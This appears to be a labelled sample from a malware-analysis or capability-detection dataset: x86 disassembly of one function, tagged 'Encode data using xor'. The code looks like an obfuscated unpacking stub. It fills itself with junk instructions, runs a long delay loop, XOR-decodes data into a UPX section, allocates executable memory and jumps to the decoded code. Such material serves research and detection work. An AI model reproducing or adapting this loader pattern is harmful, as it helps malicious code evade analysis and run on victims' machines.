Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x6f7a2a7f
sub esi, edx
not edx
popal
mov esi, 0xed58c46d
mov esi, 0xff7e0045
dec esi
mov eax, 0
mov ecx, ebx
mov edx, 0x3d4164fd
mov esi, edx
mov edi, ecx
sub esi, 0x3a0e019c
sub edx, 0xd80714c1
mov esi, edx
mov ebx, edi
add esi, 0xf4353e69
mov edx, esi
inc eax
sub esi, edx
sub edx, 0xddf003be
cmp eax, 0x1006677
jne 0x47b44f
sub esi, edx
sub esi, edx
sub esi, edx
sub edx, 0x74856c62
not esi
mov edi, 0x47b21e
or esi, ecx
add ecx, 1
and eax, esi
mov ebx, 0x47b412
dec eax
inc ecx
mov edx, dword [edi]
dec eax
or eax, esi
and edx, 0xff
dec eax
add esi, 0x8523b2f7
xor dword [ebx], edx
inc ecx
mov esi, ecx
sub esi, 0x715aa112
add ebx, 1
add eax, 1
sub ecx, esi
add edi, 1
sub ecx, 0x333bd88e
and eax, eax
dec ecx
cmp ebx, entry0
jl 0x47b4ab
or esi, esi
not esi
not ecx
dec eax
mov ecx, 0xca15c984
and edx, edi
or esi, ebx
mov ecx, 0x47b416
add edi, 0x621cf433
mov ebx, esi
or edi, edi
mov ecx, dword [ecx]
add ebx, 0xa9770b80
dec esi
mov ecx, dword [ecx]
and edx, edx
add edi, edi
sub edx, esi
sub esp, 4
mov dword [esp], ecx
and edi, ebx
or edi, esi
or edi, edi
mov ecx, 0x47b412
mov esi, ebx
add esi, edi
and esi, ebx
mov ecx, dword [ecx]
or edx, esi
and esi, esi
mov ecx, dword [ecx]
not edx
add edx, edx
push 0x47b41a
not ebx
dec edi
and esi, edi
call ecx
add esi, ebx
add ebx, 0xb126c635
pop ecx
sub ebx, 0x9d19005
add esi, 0xdcbfdc65
sub edi, 0x109afe47
push 0x47b427
mov edi, 0xdf14f041
sub edi, esi
inc edi
sub esp, 4
mov dword [esp], eax
mov esi, 0x3033aa0f
not ebx
and edi, esi
call ecx
and esi, edx
or esi, edx
dec edx
push 0x40
add edx, edi
mov ebx, edx
inc edi
push 0x3000
add esi, 0xcb07ded5
mov edi, edx
add edi, edx
sub esp, 4
mov dword [esp], 0x200009a1
add ebx, edx
mov edx, esi
add edi, 1
push 0
not edi
or edx, edx
call eax
dec edx
or ebx, esi
add eax, 0x2000090e
and edx, esi
mov edi, 0x133f316d
mov ecx, 0x98138a3e
add edx, esi
dec esi
mov dword [eax], ecx
sub esi, edi
add edi, 0x628e8179
mov ecx, dword [eax]
and edx, esi
dec edx
mov edi, 0x4c2fbe1
cmp ecx, 0x98138a3e
je 0x47b601
mov eax, 0
mov byte [eax], bl
not esi
not esi
not esi
inc ebx
mov edx, 0x61d56251
or esi, edx
inc esi
mov ebx, section.UPX1
inc esi
dec esi
mov edi, 0x47b21d
inc esi
or edx, edx
and esi, esi
mov eax, 0
sub edx, 1
sub edx, 0x628f83bc
mov ecx, 0x47b21e
not edx
add esi, edx
lea ecx, [ecx + eax]
add edx, 0x5ff75b53
inc esi
mov ecx, dword [ecx]
inc esi
mov esi, edx
sub edx, 0x87e8a5c5
and ecx, 0xff
or edx, esi
dec esi
sub edx, 1
inc eax
mov edx, esi
or edx, esi
cmp eax, 0x1f4
jne 0x47b671
mov eax, 0
and edx, edx
sub esi, edx
mov edx, esi
dec esi
xor dword [ebx], ecx
dec edx
sub edx, 0xab3f3a1f
or esi, esi
add ebx, 2
mov esi, edx
and esi, edx
mov esi, edx
cmp ebx, edi
jl 0x47b632
mov edx, esi
add esi, 0xf4cf7235
mov esi, 0x9241e149
add edx, 0xbf31de9d
sub edx, esi
mov edx, section.UPX1
sub edi, 0x8c3f7d
and edi, ebx
or edi, edi
mov esi, section.UPX1
inc ebx
inc edi
mov ecx, 0x47b21d
and ebx, ebx
or edi, ebx
not ebx
mov eax, 0
and edi, edi
add ebx, edi
mov al, byte [esi]
add ebx, 0xee205534
add ebx, 0x6f03844d
sub edi, 0xdf282982
mov byte [edx], al
sub edi, ebx
dec edi
inc edx
inc edi
mov edi, 0x84cc5fb6
add esi, 2
sub edi, 0x51379988
sub ebx, edi
sub ebx, 1
cmp esi, ecx
jle 0x47b6d6
not edi
mov ebx, 0xfa7f97d2
add edi, 0xd2111a93
sub esi, 1
or esi, esi
inc esi
push 0x45e6a0
mov esi, edx
dec edx
ret